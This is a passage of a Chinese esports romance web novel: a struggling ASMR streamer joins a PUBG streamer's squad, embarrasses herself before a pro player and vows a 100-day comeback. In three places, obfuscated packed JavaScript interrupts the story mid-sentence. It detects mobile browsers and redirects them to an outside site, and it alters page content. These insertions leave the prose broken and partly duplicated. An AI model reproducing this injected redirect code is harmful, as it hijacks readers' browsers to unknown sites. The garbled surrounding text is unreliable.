《网恋,我是专业的[电竞]》 1. 枝枝喳喳 “这位id叫……z……什么p的老板在吗?” 主播拖着长音,吊儿郎当不正经地询问,鼠标的咔哒声在背景音里清晰可闻:“飞机马上起飞,你准备好了吗?” 沉默良久,yy频道里只有隐约的电流声。 半晌,终于响起一声仿若无可奈何的回应。 “我OK。” 女生的声音轻轻软软,带着些犹豫的气息。 听见是女生后,主播瞬间换了张脸,变脸速度之快非遗传承人难以望其项背。 “哎呦是个萌妹子!妹子好,我的愿望就是守护全世界的少女。” 主播嘻嘻哈哈半天后,终于回到正题,与先前相比,音调拔高,语速都快了几分:“跳伞记得跟紧哥哥,哥哥今天带你吃鸡。” 秦南枝回忆了一会跳伞的操作过程,在进入游戏加载的空档,她叹了口气,切屏退出游戏,给好友七七糖发去微信消息。 枝枝喳喳:姐妹冲了! 七七糖:未来的绝地枪神,等你统治游戏区! 一想起自己犹如行业冥灯的人生经历,秦南枝情不自禁将目光投向身旁另一个显示屏上的直播页面——也是她所在的绝地求生游戏主播Zero1的直播间。 当下她所在的这个pubg直播间在B站都算不上顶流,但Zero1语言风趣诙谐、技术过硬,跟一些职业选手关系也不错,还经常组粉丝车队,也算吸引了一批稳定粉丝。 秦南枝这次就是刷了个火箭插队到队伍里。 打眼一扫,Zero1的直播在上午十一点就有将近五千粉丝观看,直播间弹幕更是密集到看不清画面,最让人心酸的还是他超十万人的粉丝灯牌。 这就是上升期的繁荣昌盛吗?喝汤都能捞着肉。 想起自己,秦南枝只想哭。 仅此一眼,便让她重新耷拉下脑袋,心里默默念叨鼠标垫上面的游戏快捷操作指南。 至于她一个声都不怎么出的ASMR主播为何会沦落到游戏区,又是另一个辛酸与血泪交织的故事了…… f是开门开车,v是转换视角,按shift加速…… 秦南枝锤了几下鼠标垫泄愤。 她到底为什么想不开要来勇闯游戏区啊!她统共的游戏时长才刚满一个小时! 。 CZG俱乐部pubg分部训练室里,早上只有一个人在。 十一是现役pubg职业选手,跟Zero1是老乡,恰好逢月底要补直播时长,于是两人组队一起。 按如今的趋势,他退役以后走上主播这条路是迟早的事。多个朋友多条路,早点积攒人脉不是什么坏事。 但游戏画面一加载到飞机,十一的肚子就传来一股势不可挡的洪流。 他哎呦两声,起身逮着刚进门的男生,将人一把按到自己电竞椅上。 “裴哥,帮我带一把。” 来不及多交代,说完,十一便着急忙慌冲向厕所。 被他临时抓壮丁的男生睡眼惺忪,顶着一头鸡窝发,就这么猝不及防出现在直播间里。 裴颂半眯着狭长的眼睛,眼神还带着未散的困倦。 过长的刘海几乎挡住了眉毛,却盖不住高耸眉骨的凌厉轮廓,存在感强到离谱的鼻梁上架着一副平光镜,肉粉色的薄唇正勾起一个不怎么愉悦的弧度。 “我还没吃早饭呢。”裴颂嘟哝一声,下意识前倾身子,朝屏幕靠近几分,试图分辨眼下是何种局势。 瞧见这一幕,弹幕顿时炸开了锅: 【老公早上好!老公天生丽质!】 【瞧我说什么!除了裴颂的直播间,CZG其他人的直播间都能看到裴颂!】 【羡慕这个小姐姐,居然能跟我老公一起打游戏~】 【除了打枪什么都不会,还叫上老公了,吸血鬼哥哥,靠脸吃饭不如进娱乐圈。】 【呵呵,楼上,你家正主拿过几个冠军?让我猜猜,是不是0?】 【国内冠军还有脸说?遇上外区战队你哥哥还笑得出来?】 裴颂瞥了眼一旁的直播助手,毫不犹豫拿起一次性纸杯将电脑上方的摄像头罩上,而后将十一的耳机换成自己的,扶了下耳麦。 “我打自由人。” 飞机上好多人都开着公共麦,比菜市场都乱,吵得秦南枝脑子里嗡嗡的,更不用提yy频道里,Zero1还在跟另一个粉丝吹嘘自己上一把决赛圈一穿三的光辉战绩。 秦南枝调低音量,心里回想着知识点,b是什么来着?趴下还是蹲着? 耳机突然传出这一声低沉但十分清爽的少年音,秦南枝跟Zero1同时陷入了沉默。 秦南枝沉默是好姐妹告诉她,跟少年音网恋容易开盲盒开出返祖大野猪。 而Zero1——频道安静了好一会儿,才听见Zero1清嗓子的动静。 “裴、裴神?” 最下面的id旁出现一个小喇叭,喇叭闪动几下。 “嗯。” Zero1那边的动静简直是锣鼓震天响。 “我的天!我今天必须买彩票,能跟裴神打游戏,高光时刻都快去给我录屏!” 被称作“神”的男生依然:“嗯。” 高冷男啊,以为自己小言男主吗?秦南枝撇了撇嘴。 她当ASMR主播这一年,作息早已经不能用阴间形容了,她打着哈欠,没听清Zero1问了什么,但光听语气,不可一世的主播还挺尊敬这人的。 留意了一下正在说话的id——shiyi。 什么玩意儿啊,还是puff好听,Zero1什么三流主播,连她的id都不会念,一点文化没有。 秦南枝心里重新变得美滋滋的,开始幻想自己大杀四方的威风场面。 然后忘了跳伞。 “妹妹,你找辆车往我们这边走啊。” 简单给秦南枝交代一句,Zero1便迫不及待跟在裴颂身后跳了机场。 秦南枝听着yy频道里的动静,腹诽道:孙悟空当上弼马温回花果山,满山猴子都没激动成Zero1那样。 这自然不能怪秦南枝眼界不够开阔。 作为一个统共玩了一小时的游戏玩家,她连吉利服都没见过实物长什么样子,怎么可能知道顶替另一个号的正是连夺两届pubg全国冠军的CZG战队头号枪男裴颂。 秦南枝当独狼当得轻松自在。 她稳稳落到海岛图一处田野中,四下无枪响,更无车。 荒凉,但安全,秦南枝对自己的目的地十分满意。 但问题来了,她该怎么去队友身边? 靠她自己,碰上人就是送快递的结局。 正当秦南枝趴地上一筹莫展之际,毒圈刷新了,恰好落她脸上。 什么叫天选之女!她秦南枝才是这个游戏的神! Zero1见到偶像也不忘粉丝,职业素养占领高地后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889182|192159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 频道里再次传出队友语音:“妹妹,你别动,等我们来找你,找个房子苟起来啊。” 秦南枝端着架子,拿捏着沉稳的语气:“好的。” 观察了一番四周地形,秦南枝选中了不远处高坡外围的小院子。 在裴颂的加持下,直播间人数已经达到了两万,在两万人的注视下,秦南枝朝着院子的方向,开始——爬。 【妹子,老阴比不应该出现在你这么可爱的女孩子身上!】 【苟苟更健康。】 【笑死,电竞媛枪都不拿是吧?啥都不会蹭你妈呢?】 【楼上管好自己的嘴,新手不配打游戏吗?】 因自己过于谨慎的操作引起粉丝争吵的秦南枝,此刻根本不知道游戏外发生了什么,她全身心都投入在这场游戏里,朝着不远处的房子,坚定不移的、不屈不挠的、持之以恒的——爬。 玩游戏之前,她看了不少新手入门教程。 其中有一条,游戏初期,房区若是房门都关着,大概率是没被人舔过。 但要提防某些小人搜房之后把门全关上,装成此处无人的景象,然后在楼梯转角端着把喷子等待转角遇到爱。 秦南枝抬高鼠标,将镜头对准前方,仔细观察一番后得出结论:这片房子没来过人。 进入房子,秦南枝在一楼捡到了一把s686。 作为游戏里有近战之王称呼的武器,s686在初期不失为一把杀伤力巨大的好武器,几乎撞脸必死,堪称守楼梯之王。 但秦南枝不这么想。 “怎么只有单发?”秦南枝低声埋怨。 她连着按了几下B键,确定这把枪没有连发模式之后十分失落,又在屋里转了一圈,捡到了一把手枪。 随着毒圈的缩小,连续两个圈都在她身上,周围的枪声也逼近了许多。 秦南枝更不敢出门了。 在七七糖陪她玩过两把双排后,根据她的枪法表现,特意嘱咐过她,新手前期最适合可以连发的步枪,譬如ak、m4。 步枪再加上扩容弹夹,40发子弹她就不信打不到敌人身上一枪。 她抬眼看向屏幕右上角,队友的id不间断刷新。 4号只是普通粉丝,1号Zero1能在游戏区主播里混出一番天地,想来也是有技术傍身的,而这位2号……十一大哥…… 秦南枝倒抽一口凉气,因为就在她看向屏幕的几秒钟,此人又凭借一把ak击杀了一个三人队伍。 队伍语音里,4号激动道:“裴神要10个人头了吧?” “嗯。” 嗯?秦南枝眼睛亮了亮,让他装到了! 这人好强!看起来比Zero1厉害多了啊! 最重要的是,这人话甚少,偶尔才冒出几个字,“NE”、“房区”、“绕后”。 老话说的有理,电子竞技菜是原罪。 短短几分钟,秦南枝对此人的印象已经从装x小言山寨男主变为了高冷寡言电竞天才。 既然男生如此厉害,她蹭Zero1热度的事情可以暂且放一边。 比起废话一箩筐的Zero1,这位高冷小言男主更合她的心意。 最重要的是,他声音真的好好听! 秦南枝边陶醉边思考,骤然心生一计。 她按照七七糖给她立的如今最吃香的白痴美女人设,夹着嗓子撒娇道: “哥哥,你这么厉害,怎么不去打职业啊?” 2. 枝枝喳喳 秦南枝家境优渥,不仅是家中独女,又是同辈里唯一的女孩。凭借可爱的长相和一张甜嘴,从小就是被全家人捧在手心里的宝贝疙瘩。 “延迟满足”这四个字在她的人生字典里压根不存在。对她而言,想要什么,小手一挥,基本就到手了。 纵使她爸秦聪是出了名的性子古板老派,坚信严父出孝子,但只要秦南枝嘴一瘪,挤两颗亮晶晶的金豆豆,老爹的原则立刻土崩瓦解。 不想出国留学就不去,不想进公司就帮助她创业,不想回家就帮她在市中心买了平层…… 因此,大学毕业前,秦南枝所经历的22年人生,可谓是虽有波折,但大方向仍是积极向上的,未来也是光明平坦的。 然而,毕业就像一道分水岭! 从踏出校门那一刻起,秦南枝感觉自己仿佛被霉神附体。 秦南枝不止一次求过古今中外东西方各路神仙,她到底得罪了谁?这是要往死里整她吗?! 先是甜品店合伙人卷款跑路,紧接着是甜品店所在商圈楼盘烂尾、租金打水漂。 她好不容易咬着牙,挺过了这接二连三的暴击,重新振作起来,想起了自己大学时经营的那个还有点粉丝基础的B站账号,打算重操旧业。 结果呢? 等她信心满满点开ASMR区想看看近期热门风向——屏幕上那位主播小姐姐,浑身上下布料加起来怕凑不够两件! 秦南枝瞬间瞳孔地震:你跟我说……这玩意儿是ASMR? 追根溯源,她是误打误撞走上ASMR这条路的。 B站账号起初是南红玉看女儿喜欢做甜品,也不怕辛苦,坚持要帮她记录下来。 这一做就是三年。 凭借着精致的操作台、利落的动作、毫不藏私的教程、全程零废话,外加秦南枝家大别墅和一水儿进口厨具的梦幻加持,被粉丝们奉为“最纯粹的白噪音体验”。 渐渐的,秦南枝确定了账号风格,主打“治愈系”甜品教程。 其中一期搅打黄油的视频,更是意外出圈,创下了惊人的上亿播放量! 现在……臣妾做不到啊! 耳麦里铺天盖地的笑声让状况外的秦南枝回过神,她皱了皱眉,难不成没点大病不配玩儿吃鸡? 秦南枝被这突如其来的笑声笑迷糊了,就在她纠结要不要问问这群人犯了什么病的时候,被秦南枝夸奖的路人王当事人出声了。 “嗯,会考虑的。” 他的声音透过麦克风传来,低沉平稳得像块冷玉,瞬间压过了背景音里的群魔乱笑。 说完这句,裴颂见十一甩着湿漉漉的手从厕所晃悠回来,立刻冲他递过去一个“赶紧接手”的眼神。 他手指一动,关掉了队伍语音,随后将游戏里的驾驶位交给Zero1,而他自己也离开了电竞椅,顺势活动了下僵硬的脖颈。 十一一屁股坐回去,瞄了眼弹幕,朝他挤眉弄眼:“裴哥,不打算接着跟你慧眼识英雄的伯乐妹妹打一把?” “不了。”裴颂把手捂在脸上,含糊不清地给出一个让人无法反驳的理由:“再不去食堂就没饭了。” “哥,要不咱花几十块钱点个外卖?”十一回想一番食堂的菜色,脸色难看:“王阿姨怎么一点进步的心思都没有?为了你这个捧场王,也该去米其林进修,再不济新东方也行啊。” 裴颂放下手掌,迷茫地眨了眨眼:“没钱,拿你手机点?” “中国区身价前三的选手,你跟我说你没钱?”十一抿起嘴,挤出一个程式化的微笑:“当我什么都没说。” 裴颂走后,十一戴上耳机,打开队伍语音,大喊一声:“正神归位!” 随着一个陌生声音的响起,Zero1终于停下对秦南枝的嘲笑,开始跟十一有一搭没一搭聊近况。 秦南枝从他们几句嬉笑中才意识到自己方才犯了犯了多大的笑话。 职业选手怎么了?职业选手有什么了不起?这群讨厌的职业选手来低分段炸鱼,太没素质了! 扫了眼屏幕上还在疯狂刷屏的“菜就多练”、“妹妹放弃电竞吧”、“哈哈哈哈保护我方裴神耳朵”,秦南枝彻底笑不出来了。 好在她从小心态就好。 考试考得不好转眼就能安慰自己,学习不好怎么了?她长得漂亮啊,靠脸就能吃上饭。 合伙人卷款跑路依然安慰自己,还好她长得漂亮,八十万说少不少,说多……她要是长得丑,这钱指不定要花到整容上了。 这次她同样安慰自己,看在她这么漂亮的份上,黑红……怎么不算红呢? 耳机里嬉笑的动静小了些后,秦南枝听到了身旁传来的车辆引擎声。 仿佛老天爷故意跟秦南枝做对,几辆车不偏不倚就停在秦南枝所在的二层小楼下面。 她操纵着游戏角色起身,看到来人是个至少三人的队伍,领头的还是个氪金玩家,爆炸头就算了,还穿一身花花绿绿小丑服,跟Zero1一样浮夸。 他们的到来,使得附近的脚步声顿时杂乱起来。 秦南枝傻眼了,她一个端着喷子的新手,独自面对四人整编? 她该怎么办?秦南枝握着鼠标的右手都开始哆嗦了。 而且,这几个人摆明冲她来的! 秦南枝的人物端着枪缩在门后,听着楼下的脚步声越来越近,有人开始上楼。 破旧的木门“吱呀”一声,被人从外推开。 就是现在! “砰!” 一声震耳欲聋的枪响在小破楼里炸开。 Zero1停好了车正四处找汽油呢,就听见身后一声枪响,随后屏幕右上角出现zzpuff击倒shiyi的通知。 十一被一枪打懵了:“妹子你打我干什么?” “啊?自己人?你们过来怎么不说啊,我还以为有人摸过来了。”秦南枝被枪声震得头皮发麻。 万幸她拿的是一把单发喷子,要是换了把连发步枪,她这双被霉神亲吻过的手,肯定已经条件反射地遵循了新手教程中念叨八百遍的金科玉律——补枪。 真要补了,那可就成了直播事故,她跳进黄河也洗不清了! 现在……虽然尴尬得脚趾能抠出三室一厅,但至少还有救! 唯一令人难为情的是,这个乌龙是在直播间两万观众眼皮子底下发生的。 弹幕不用想,肯定炸锅。 秦南枝已经没勇气看那飞速滚动的弹幕对她误伤队友的评价了。 她干笑两声,小声跟十一道歉:“不好意思,我太紧张了,下一把就好了。” 秦南枝声音甜,又有意加了点上海口音,嗲得能滴水。 十一向来不跟妹子计较,更何况妹子声音这么好听,游戏体验都变好了。 他十分大度回答:“没事没事,你把我扶起来吧。” 看队友起身,秦南枝奇绝的脑回路闪了闪。 转念一想,职业选手被她一枪放倒,她秦南枝怎么不算天赋异禀?天人之姿?天下独绝? 这波操作虽然乌龙,但精准度拉满! 试问哪个新手能一枪放倒职业哥? 嗯?还有谁?! 突如其来的高光时刻让秦南枝差点没忍住得意地抖腿,仿佛吃鸡主播新秀就在眼前。 仿佛是为了安抚她这颗饱受霉运摧残的小心脏,幸运光环再一次笼罩在秦南枝身上。 眼看场上存活人数只剩下不到二十人,安全区像长了眼睛、认准了家门似的,一个接一个,精准地套在了他们队伍所在的这片破破烂烂的房区上。 田野间枪声越来越密集,这间破旧的小房子成了决赛圈难得的掩体。 哇!天命圈!又是天命圈!她心底欢呼道。 秦南枝看着那不断缩小的蓝色光晕,稳稳当当地将他们的小破楼包裹在中心,简直不敢相信自己的眼睛! 毕业后的霉运乌云,在这一刻似乎被安全区的金光硬生生撕开了一道口子! 可惜,很快秦南枝就笑不出来了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889183|192159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我这儿有人!” “我这儿也有人!” “废话,周围全是人!” 四面八方的火力尽数朝着他们靠近,比年三十的爆竹都热闹。 更邪门的是,无论他们怎么变换位置,敌人的子弹总能刁钻地追过来。 难不成有人开挂?秦南枝嫌弃地撇了下嘴,她菜虽菜,可她道德水准不是一般高。 开挂对自家户口本不好。 在这波集火里,十一解决了三个残血敌人,自己也不幸被手雷一波带走。 好在近处摸过来的敌人都解决差不多了,接下来的决赛圈只能看队友表现。 他摘下耳机,将画面转到Zero1的直播间,声音调整成公放。 一旁的裴颂已经吃完早饭回来了,正捏着一张酒精湿巾擦外设,电脑屏幕显示游戏还在更新,桌子右上角摆了一盘不知道是小蛋糕还是红糖发糕的点心。 十一盯着点心看了一会儿,觉得应该是王阿姨买的半成品,不是她自己做的。 “哥,给我吃一口。” 裴颂眼皮都懒得抬,手上动作没停,极其敷衍地抬了下下巴,示意他自己拿。 十一毫不客气地揪下一大块塞进嘴里。 下一秒,他的表情瞬间凝固。 “哎呦我的妈呀!王阿姨是不是二婚找了个卖糖的大爷?” 十一一口下去,齁得跟吃了口绵白糖,被点心甜得嗓子发干,快要说不出话。 他灌了大半瓶水后才开口:“这是给人吃的吗?你到底有没有味觉?你是怎么能吃得下去的?” 裴颂完全无视了他的咆哮,慢条斯理收拾着自己桌面上的耳机线、键盘线、鼠标线。 待一切收拾整齐,才抬起那双没什么波澜的眼睛,淡淡地瞥了十一一眼,吐出几个字: “以后别动我东西。” “谁稀罕……不用就不用。”十一嗤了一声,悻悻回身,将注意力重新转回游戏中。 这会儿场上只剩下7个人了,他们队伍有3人存活,但纯战斗力量只能算1.5个人。 Zero1算2个,路人算0.5个,十一痛苦地闭了闭眼,妹子得倒扣1个。 yy频道里,Zero1吼得嗓子都快劈叉了,带着一种绝望的嘶哑和破音。 “对!按G!扔!朝远处扔!扔高点!” “按住先别松开!等会!” 秦南手抖得犹如帕金森,一连两个雷,不是扔偏了,就是扔出去的时机不对被人逃开。 转眼间,秦南枝背包里就只剩下最后一颗宝贵的“全村希望”。 Zero1咬咬牙,安排道:“4号掩护我,去妹子身边把雷捡了。” 路人小哥的水平在网友里也是可圈可点的,一把mini14蹲在楼梯口架枪,安全护送Zero1从围墙转移到了二楼。 安全区再一次刷新,这次的决赛圈落到了光秃秃、一览无遗的麦田上。 麦田里的人成了活靶子,但他们躲在二楼的小破屋里,同样不敢露头。 谁露头谁就得迎接四面八方的子弹洗礼。 最好的战术便是扔手雷把田野里那些人炸成盒。 “快把雷给我!”Zero1冲到秦南枝身边,声音嘶哑,跟卡了口痰似的。 情况越紧急,秦南枝操作越卡顿,大脑一片空白,手比脑子快。 来不及思索太多,她着急忙慌选中手雷,扔给Zero1。 嗳?等等!好像有哪里不对劲? 扔给他……还是扔向他? 手雷落到地板上,骨碌碌跑到三个人中间,还在不停打转。 秦南枝终于意识到不对劲,但为时已晚。 伴随着一声巨响,游戏画面剧烈抖动,屏幕变成了代表着团灭的灰色。 同时间,躲在麦田里无伤吃鸡的队伍,得意洋洋打开了公共语音,嘲讽道: “让你们一群龟儿子带妹!还开公共麦!活该翻车!爽死劳资咯!” 3. 枝枝喳喳 游戏陷入了尴尬。 秦南枝默默调低自己的麦克风音量,试图将自己从翻车事故中摘出去。 但Zero1怎么可能简单轻易就饶了她? “妹子,之前直播间的规矩是粉丝老爷刷一个火箭吃一把鸡,今天我Zero1赌上我职业生涯的尊严,也要带你吃鸡!” 直播画面里,Zero1忽然起身,大手一挥:“各位直播间的观众老爷,今天各位做个见证,我一定带我们z什么来着……” “泡芙!”秦南枝小声补充。 “对!泡芙妹妹吃鸡!”Zero1猝然靠近摄像头,好似要透过屏幕抓住秦南枝:“泡芙妹妹!有没有信心!” 秦南枝抬起眼,正正对上屏幕里Zero1饿狼似的眼神,刚露头的底气又被吓了回去。 她缩了下脖子,垂眸盯着键盘,弱弱回应:“有、有吧。” Zero1对她的回答很不满意,重重拍着桌子:“大声告诉我,有没有信心!” 激将法?她认! 秦南枝狠下心,学着他的样子一拍桌子,吼道:“有!” “上号!” Zero1显然认真了起来,光靠他一个职业主播和十一一个现役职业选手加持仍不放心,又开始扒拉着好友列表,试图再找到一位退役选手。 就算抬,也要把秦南枝抬进决赛圈。 但这一行是出了名的晨昏颠倒,这会儿早上十一点不到,一个个都睡得美着呢。 一连发出去十几条消息没人回复,Zero1只能将希望寄托在十一身上。 “十一,你们CZG现在有人在吗?”Zero1问。 “这才几点,替补都没醒呢。”十一偏头看了眼正在单人四排的“独狼”,随口问道:“裴哥,要不要带妹?” 等了半天,裴颂眼睛盯着屏幕,一声不吭,嘴角弧度都没变。 十一无奈撇嘴:“算了,求不动这位大爷,你等我叫果汁。” 关掉语音,十一一个电话把床上的果汁薅了起来。 果汁穿一身睡衣走进训练室,顶着刚睡醒的茫然眼神挨着他坐下,眼皮还有些肿,让人想给他点一杯加浓冰美式那种。 “你怎么长这么丑?”十一皱眉,裴颂刚睡醒顶着鸡窝头看着也挺帅的啊。 果汁从桌子下面的储物箱摸出一瓶红牛,一把拍到桌子上:“再废话你爹我回去继续睡觉。” 等了不到五分钟,秦南枝看到队伍里被拉进一个人,ID:juice。 下一秒,ID旁的喇叭闪了闪:“你个狗贼,带妹不叫我?妹妹好,妹妹今年多大了?妹妹喜欢打什么枪,哥哥一会儿保护你呀。” 废话真多,秦南枝尬笑几声,也不接腔。 她都毕业两年有余了,跟这群十几岁打职业的选手比起来,应该叫她姐姐才多,但她懒得跟他争论,成熟女人不在乎这些细枝末节。 这一把Zero1换了战术,拿出了一个三保一的太子登基策略。 四人跳伞落地学区房楼顶,十一守楼顶、蹲学校方向的人,果汁和Zero1处理脚下学区房的敌人。 至于秦南枝,她手里端着一把ak,被Zero1赶进厕所蹲守。 待到枪声渐稀,第二个安全区开始刷新了。 不巧的是,这把的安全区朝着机场方向缩进,学区房所处地图正中心,他们必须尽快驾车赶过去。 秦南枝在三个人的簇拥下上了车,谨慎地坐在后排,不敢随意探头。 但事情的发展跟她想象的有点不太一样。 车上视角极其晕眩,车窗外景物飞速倒退,再加上游戏做得过于真实,屏幕的晃动让秦南枝仿若真的坐在某辆越野车后排。 她大脑神经一阵接一阵的抽搐,胃里翻江倒海,眼前发黑,喉咙发紧。 “妹妹,下车啊。”Zero1催她。 他们队伍刚经过通向机场必经的一座大桥,前有追兵后有埋伏,眼下情况紧急,不能再拖下去了。 而且车在过桥后被打爆了轮胎,再待下去说不准会爆炸。 可秦南枝手脚发软、唇色发白,嘴里止不住泛酸水。 耳朵里是越来越密集的枪响和队友的连声催促,秦南枝忍不住了。 她颤抖着开口:“不行,我想吐。” “啊?”一直沉默的果汁发话了:“妹子你晕3d啊?家里有晕车药吗,冰可乐也行。” “我靠什么时候,你们还聊上了?果汁你当医疗兵当上瘾了吧?”十一听他们居然有心情聊天,回头就是两枪打自家队友身上:“别聊了,赶紧下车,桥上有两辆车要冲卡。” Zero1调转视角,看看桥,再看看车上一动不动的秦南枝和冒烟的皮卡。 他思索几秒后咬了咬牙,举起枪口,对准了坐在车里的zzpuff:“妹子,牺牲你一个,幸福咱们一队,那啥,你刷的礼物待会儿我给你刷回去啊。” 三声枪响后,秦南枝的角色应声倒地。 秦南枝如今自顾不暇,脑子里天旋地转,跟一缸浆糊似的,干脆推开键盘,趴在电脑桌上休息。 本着队友的包不舔白不舔的原则,果汁走到属于秦南枝角色的盒子旁边,观察片刻后,犹豫道:“妹子,你为什么带60个绷带,还有,你拿着把ak,怎么带五个握把?” “根骨奇佳。妹妹啊,键盘上撒把米,鸡都比你玩得强。” 身后冷不丁冒出个人,十一差点儿从凳子上跳起来。 小艾不知看了多久,伸着脖子挤到屏幕前,右手抢过十一的鼠标,在秦南枝游戏角色的个人信息资料页上点了几下。 “哟吼,一个小时游戏时长,居然打了7把?KDA还是0?”小艾噗嗤一声笑了:“纯纯送快递啊妹妹。” 十一的yy语音还没关,小艾打趣的话清晰地传入秦南枝耳中,叫她臊得瞬间耳根子滚烫。 这群人真不会说话,比起来高冷哥都显得十分有绅士风度了。 想起方才十一在秦南枝背包里发现的破烂,小艾笑得更放肆了:“我说错了,妹妹你叫垃圾中转站。” 自屏幕的反光里,秦南枝看到了自己红到滴血的脸,回忆起自己一次接一次的乌龙操作,她的脚趾头能从21楼一路抠到负二。 她嘴唇翕动几下,嗫嚅不成声:“我、我太紧张了,也是,就这两天才开始玩。” 秦南枝心里止不住的苦水不能倒给别人,只能自己消化,苦水汇聚成浩荡长江奔流不息,她就不该听七七糖这个狗头军师的建议蹭什么游戏圈的热度! 她一把扯下耳机,将Zero1一干人等的嘲讽用物理方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889184|192159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 式屏蔽。 另一头的训练室里,身旁三个笑作一团的人终于引起了裴颂的注意。 “小声点。”他冷淡开口,微垂的眼眸透着几分困倦的黯色,但眼神全然称不上温和,透露出一股“识相就闭嘴”的疏离感。 骨节分明的手指微微屈起,正有节奏地敲击着桌面。 果汁和十一都怕他,准确来说,CZG没人不怕他。 这哥永远都顶着张扑克脸,看不出高兴不高兴,就算不高兴也从来不说,只会在比赛开局先杀队友解气,江湖人称——冷脸疯狗。 “不说了、不笑了。”果汁咽下口水,回到自己座位前,还装模作样对着话筒喊了一句:“妹妹加油,坚持玩总会进步的。” 这句安慰秦南枝当然没听见。 至于直播间,秦南枝缓缓抬起头,眼睛睁开一条缝,挪弄着光标到了右上角,准备退出这个让她伤心不已的游戏圈。 就在她心灰意冷之际,一条镶金边的弹幕横空出世,照亮了她昏暗的前路。 【妹子ID很眼熟啊,是不是之前ASMR区那个小富姐?】 她就说!她就说她还没有被时代抛弃! 秦南枝重新戴上耳机,满心欢喜期待着其他粉丝能发现她的真实身份。 网友没让她失望,你一言我一语,就把秦南枝真实情况八了个水落石出——虽然真实性不高。 【想起来了,这姐家里上海大别墅,还有三个保姆。】 秦南枝扶额,三个保姆是什么鬼。 那是她妈妈、闺蜜赵若月,和赵若月妈妈。一年到头这三个人花脸上保养的钱加起来都不止七位数了,让她们知道不得气死? 【刚去瞄了一眼视频,纯纯白富美,羡慕死了,这群竞男凭什么谈富婆?】 【楼上别酸,Song,Winter哪个不是能拉去娱乐圈的颜值?】 【喜欢什么不行喜欢竞男,小姐姐早点去看眼睛。】 【小姐姐,我枪法也很准哦,加我带你吃鸡ID:xhdeo】 看了一圈弹幕,秦南枝正认真呢,弹幕后骤然冒出一张了无生气的属于Zero1的大脸。 起初信誓旦旦要带秦南枝吃鸡的Zero1在亲手送走秦南枝之后也蔫了,有气无力道:“妹妹,不是我说话难听,电竞这条路不适合你,咱长得那么漂亮,找个好男人嫁了吧。” “找个好男人嫁了?” 听到这句话,原本半趴在桌上缓神的秦南枝猛地直起身子。 刚创业时,家里一位伯伯趁酒后给她上眼药,话里话外都是,女孩做再大的事业,以后都是留给老公的,让秦聪别给女儿浪费钱,让她打扮漂漂亮亮早点嫁人才是正事。 秦聪可是替她当场找回了颜面。 如今这个情况,秦南枝再次听到这句话,别人可以看不起她,但她绝不能自己不争气! 游戏里受到的所有委屈和嘲讽尽数涌到记忆里,在脑子里横冲直撞,太阳穴突突直跳,胀得发疼。 屏幕反光中,她泛红的耳尖尚未褪色,眼底却烧起一簇火。 真当她是橡皮泥啊,兔子急了也咬人呢! 她一把拽过耳边的麦克风,音量键被滑动到顶端,清亮的声音带着细微颤抖却斩钉截铁:“看不起谁呢!就你那水平还嘲讽上我了?” 4. 枝枝喳喳 直播间弹幕瞬间爆炸,密密麻麻的小字成了漫天飞雪,将Zero1的脸挡得严严实实,连背景里果汁的憋笑声都消失了。 Zero1被她吼得怔住了,睁大眼睛望着屏幕,半晌没组织好语言。 或许是在思考到底是谁给秦南枝的勇气,也可能单纯不知道下一句该说些什么。 被粉丝催得没办法了,Zero1挠挠头,哼了声:“开玩笑开玩笑,妹子,你没事吧……” 狠话已经放了,吃回头草从来不是秦南枝的风格。 她盯着电脑右下角小窗里Zero1那张可恨的脸,一字一顿:“今天是我玩这游戏的第三天,包里是垃圾中转站,坐个车能晕到吐,就杀了一个人还是队友,我承认我菜得离谱!” 她深吸一口气:“但一百天后,我会用你淘汰我的那把枪,站在决赛圈等你。到时候咱俩单挑!你给我等着!” Zero1没料到这看似软糯的泡芙妹妹会突然发飙,还给他下了战书! 短暂沉默后,他扯着嗓子找回场子:“行!妹子有志气,一百天就一百天,直播间观众老爷作证,到时候哥让你一只手!” 粉丝向来看热闹不怕事大,还一旁撺掇输了以后让秦南枝直播间露脸。 撂下战书,秦南枝扫了一眼弹幕,就利落地退出游戏、关闭直播软件,没再理会Zero1的后续叫嚣。 刚在几万人面前经历了一场史诗级的社死现场,脑袋还嗡嗡作响,漆黑的屏幕上倒映出她略显苍白的脸庞。 她捞起手机,切换成日常吃瓜小号,敲下搜索词: “绝地求生新手速成攻略”、“绝地求生大神参数设置”、“如何克服fps类游戏眩晕”…… 片刻后,点开其中一个视频。 她低声自语,带着破釜沉舟的决绝:“等着吧,一百天后,谁是垃圾中转站还不一定呢!” 视频还没加载出来,七七糖的语音电话就火急火燎地追了过来 她跟七七糖的缘分挺奇妙。 